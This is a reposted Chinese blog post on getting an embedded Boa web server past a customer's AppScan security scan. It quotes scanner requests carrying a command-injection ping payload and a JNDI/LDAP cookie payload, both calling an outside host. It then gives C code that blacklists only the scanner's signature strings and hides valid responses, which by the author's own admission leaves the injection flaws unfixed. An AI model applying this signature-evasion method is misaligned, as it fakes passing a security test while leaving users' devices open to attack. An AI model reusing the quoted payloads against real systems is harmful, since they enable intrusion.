0


一种绕过appscan扫描注入漏洞的简单方法(附代码)

在基于嵌入式Linux的终端上部署了一个轻量级的老古董级web server - BOA server(芯片供应商自带的SDK,不好换,主要是C程序),可以连上进行终端的配置。却被客户告知需要进行web安全扫描。这个需求本来意义很低,因为这个终端是在放在用户家里,家庭上网用,内网才能接入。即使黑进去了最多也就是破坏个人上网,或者蹭个网啥的。但是客户把它作为入网测试的必选项。

用appscan扫出上千个高危漏洞,绝大部分是注入漏洞,一般发生在POST请求,黑盒(appscan)攻击向量主要集中在两个地方,一是payload,二是cookie。

一. Payload注入漏洞

POST /cgi-bin/check_auth.json HTTP/1.1
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [fe80::1]
Cookie: loginTimes=0; loginRight=2
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://[fe80::1]/cgi-bin/login.asp
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US
frashnum=&action=ping+-c+1+v3-ping-2-27c24527-642b-4275-b72da68b05234bf0.
securityip.appsechcl.com&Frm_Logintoken=0&username=user&password=CONFIDENTIAL 0&Username2=&Password2=
HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=GB2312
{
"Locked":"0",
"Logged":"2",
"Privilege":"0",
"Active":"1",
"Luci":"0",
"ecntToken":"000000000000000000000000000000000"

}

这里的payload的变量action的值被注入了。

appscan的漏洞描述这么说:

差异: 参数 action 从以下位置进行控制: login 至:
ping+-c+1+v3-ping-2-27c24527-642b-4275-b72d-a68b05234bf0.securityip.appsechcl.com
推理: AppScan 外部 Web 服务器接收到包含该测试的变体 ID 的 DNS 查询,因此认为应用程序存在漏洞。

解读一下:appscan向web server发送如上攻击向量并收到正常回应,所以认为存在漏洞。

对于这一类漏洞,我们需要在web server程序中找到payload解析部分。在Boa server是在http-get-utils.c文件中的函数s_var **parse_param_line (char *line)。在这个文件的头部增加payload校验函数,来校验其内容是否被注入。

用户输入校验可以用两种方法,一种是白名单准入,另一种是黑名单禁入。我开始用的是白名单准入,但是这种情况下需要穷举各种合法的用户输入,这个操作上太复杂,很容易就把合法的输入也过滤了。后来我用黑名单禁入法,通过观察攻击向量,发现其中都有字符串"-ping-"或"ping ",于是我的输入校验函数也就很简单:

int validate_payload(char * pl)
{
    if(strstr(pl,"ping ") || strstr(pl,"-ping-"))
    {
        return 0;
    }
    return 1;
}

在函数s_var **parse_param_line (char *line)里,找到payload参数的获取部分代码,对其值进行校验,程序中是result[i]->value。

if(!validate_payload(result[i]->value))
{                
    tcdbg_printf("\nValidate_payload failed %s=%s %s\n", result[i]->name, result[i]->value, __func__);
    free_param_line(result);
    return NULL;    
}

其中,tcdbg_printf是这个终端系统特有的串口控制台输出调试语句。如果发现参数值里含有攻击向量,则立即返回NULL。是不是到这里就结束了呢?如果你的web server程序写的很严谨,即在对参数进行解析时,如果发现错误有相应的错误处理流程,如忽略该request,那么改到这里应该就可以了。但是Boa server源码里没有该处理流程,只能自己顺藤摸瓜进行额外处理。

再查找Boa server里调用parse_param_line函数的代码,发现在函数static int get_post(request *req), static int get_post_multipart(request *req), static int get_query(request *req)里,都是返回类型为int。原来针对parse_param_line返回为NULL时没有做特殊处理,现在需要加上这段代码。以get_post为例:

g_var_post = parse_param_line (post);
    
free(post);
if(g_var_post)
{
    return 1;
}
else
{
    tcdbg_printf("g_var_post is null %s\n", __func__);
    return 0;
}

当parse_param_line返回为NULL时,函数返回0. 再查找get_post的调用,发现在int asp_handler(request * req)函数里(asp是legacy asp),源代码是这样的:

        if(http_header() == -1)
        {
                close(fd_out);
                req->status = DEAD;
                req->keepalive = KA_INACTIVE;//Ian_20070326
                return 0;//Ian_20070326
        }
        if((req->method == M_POST) && req->content_length){
                if(req->content_type == NULL)
                {
                        get_post(req);
                }
                /*add support to parse multipart. shnwind 2009.4.8*/
                else if(strstr(req->content_type,"multipart") == NULL){
                        get_post(req);
                }else{
                        get_post_multipart(req);
                }
        }else if((req->method == M_GET) && req->query_string)
                get_query(req);

从上面的代码可以看到,调用parse_param_line函数的get_post,get_post_multipart,get_query都在里面, 但是都没有对其返回值进行校验处理。也就是无论返回值是什么,都会接下去走预定的流程。修改加上如下校验代码:

if((req->method == M_POST) && req->content_length){
        if(req->content_type == NULL)
        {
            igp=get_post(req);
        }
        /*add support to parse multipart. shnwind 2009.4.8*/
        else if(strstr(req->content_type,"multipart") == NULL){
            igp=get_post(req);
        }else{
            igp=get_post_multipart(req);
        }
        //tcdbg_printf("igp=%d %s\n",igp,__func__);
        if(!igp)
        {
            tcdbg_printf("igp is 0 %s\n", __func__);
            close(fd_out);
            req->status = DEAD;
            req->keepalive = KA_INACTIVE;
            return 0;
        }

    }else if((req->method == M_GET) && req->query_string)
    {
        if(!get_query(req))
        {
            close(fd_out);
            req->status = DEAD;
            req->keepalive = KA_INACTIVE;
            tcdbg_printf("!get_query(req),line %d, in function %s\n",__LINE__,__func__);
            return 0;
        }
    }

当返回为0时,参考其源代码里的错误处理流程,关闭一些数据,设置req状态,然后返回0.

本来程序修改到这里就可以结束了,但是还需要特别注意的一个地方。appscan判断漏洞是看你针对其request有没有有效返回,如200 OK,在需要redirect的情况下,302 Moved也算一个有效返回,当它监测到返回数据后,就判断web server存在漏洞。而在Boa server的源码里http_header函数就是用来发送HTTP/1.0 200 OK消息的,所以要把这个函数放到get_query的后面来。好,这个位置调换完成,则整个针对payload漏洞的程序修补告一段落。后面还有一个补丁针对boa server在面对某些攻击向量时会退出。

二. Cookie注入漏洞

POST /cgi-bin/sec-macfilter.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Referer: http://[fe80::1]/cgi-bin/sec-macfilter.asp
Cookie: ecntToken=2a5c6fd6b8454bcb5b1c7a4e9aa24eeff; loginTimes=0; logintype=usr; loginRight=${jndi:ldap://v3-ping-1434-
14484203-25fa-47b8-ab83-db8ba866eaac.securityip.appsechcl.com/foo}
Host: [fe80::1]
Content-Length: 126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
isFilter=on&ListType_Flag=White&Mac_Flag=0&delnum=&EnMacFilter_Flag=0&mac_num=0&Actionflag=Del&IpMacType_Flag=Mac&FilterMod
e=1
HTTP/1.0 302 Moved Temporarily
Location: /cgi-bin/login.asp
Connection: close
Server: Boa/0.94.13
X-Frame-Options: SAMEORIGIN
Date: Thu, 01 Jan 1970 02:21:02 GMT
Content-Type: text/html; charset=ISO-8859-1
<HTML><HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD>
<BODY>

302 Moved

The document has moved
here.
</BODY></HTML>
GET /cgi-bin/login.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Referer: http://[fe80::1]/cgi-bin/sec-macfilter.asp
Cookie: ecntToken=2a5c6fd6b8454bcb5b1c7a4e9aa24eeff; loginTimes=0; logintype=usr; loginRight=${jndi:ldap://v3-ping-1434-
14484203-25fa-47b8-ab83-db8ba866eaac.securityip.appsechcl.com/foo}
Host: [fe80::1]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=GB2312

上面Cookie中LoginRight的值被注入了。web server第一个回应是302(因为还没有登录),然后redirect到login,收到了正常回应,appscan认为是漏洞。

在Boa server中查找cookie解析的代码,Cookie是在解析Head的时候进行处理,所以不在上面的Body的payload处置流程之中。在文件ctc_auth_api.c中的函数ctc_check_auth和ctc_http_token_authorize里

int ctc_check_auth
(asp_reent* reent, const asp_text* params, char *p_username, char *p_password, struct ctc_au_param *au_param, char **result)

int ctc_http_token_authorize(request *req)

在该文件头部添加一校验函数:

int check_compliance(char * strbuf)
{
 
  if(strstr(strbuf,"ping ") || strstr(strbuf,"-ping-")|| strlen(strbuf)==0)
  {
    return 0;
  }
  return 1;
}

和前面payload校验不一样的地方,cookie的值是不能为空的,所以加上strlen是否为0的校验。在 函数ctc_check_auth中调用上述check_compliance函数,以loginTimes为例:

if ( req->cookie )
    {
        var = param_line (req->cookie, '=',';');
        for(  idx = 0; var[idx]; idx++)
        {
            if ( 
#if defined(TCSUPPORT_CUC)
                0 == login_times && 
#endif
                NULL != strstr(var[idx]->name, "loginTimes") )
            {
                //tcdbg_printf("Cookie: %s=%s; %s\n",var[idx]->name,var[idx]->value, __func__);
                if (!check_compliance(var[idx]->value))
                {
                    tcdbg_printf("Cookie loginTimes %s contains malicious code %s\n",var[idx]->value, __func__);
                    free_param(var);
                    /**result=NULL;
                    
                    return -1;*/
                    goto JSON_CREATE;    
                }

即如果检测到不符合要求,则按照源代码中的出错处理流程,转到JSON_CREATE。

在 ctc_http_token_authorize中做如下修改:

var = param_line (req->cookie, '=',';');
    //tcdbg_printf("Cookie: ");
    for(  idx = 0; var[idx]; idx++)
    {
        //tcdbg_printf("%s=%s; ",var[idx]->name,var[idx]->value);
        //tcdbg_printf("\n");
        if (!check_compliance(var[idx]->value))
        {
            tcdbg_printf("Cookie value %s contains malicious code\n %s", var[idx]->value, __func__);
            free_param(var);
            return -1;    
        }

即检测到不合规,返回-1.

幸运的是,关于Cookie的修改,到这里就可以结束了。不需要再去关心这些函数的调用,因为Boa server源码里已经有既定的错误处理流程了。

三. 由于攻击向量造成的web server退出

appscan扫描经常会造成Boa server退出。经过在程序多处打印调试信息,定位到是由于在发送登陆请求时,伪造的用户名和密码有的为空。这在正常流程中不会出现,因为前端的javascript代码会校验输入。在asp_handler.c文件中的如下函数中加入校验代码:

static void 
tcWebApi_JsonHook(asp_reent* reent, const asp_text* params, asp_text* ret)
{

      ....

       
      if(!strcmp(funname,"ctc_check_auth"))
      {
                if(!pval_1 || !pval_2)
                {
                    tcdbg_printf("pval_1 or pval_2 is null and funname is %s,%d,%s\n",funname,__LINE__,__FILE__);
                    return;
                }
                
      }

       ....

}

当函数为ctc_check_auth时,表明在进行登录校验,pval_1是指向用户名的指针,pval_2是指向密码的指针。当其中有一个为null时,立即返回。

到现在整个漏洞修补程序已经完结,从扫描结果来看,注入漏洞全部修复(不再报告)。

仅有的3个高危漏洞是由于采用http协议,没有加密传输。

本文介绍的方法是针对appscan的特定扫描,观察其攻击向量的特征,并不是从根源上堵住了注入漏洞。之所以介绍这种方法,是因为这种安全检测意义不大,我只是用一种最简单的方法让客户的安全扫描得以通过,同时不影响现有业务的正常运行。 这种方式不适用于大型互联网网站,或者存有重要数据的网站。


本文转载自: https://blog.csdn.net/qq_42000667/article/details/127576423
版权归原作者 正义之兔 所有, 如有侵权,请联系我们删除。

“一种绕过appscan扫描注入漏洞的简单方法(附代码)”的评论:

还没有评论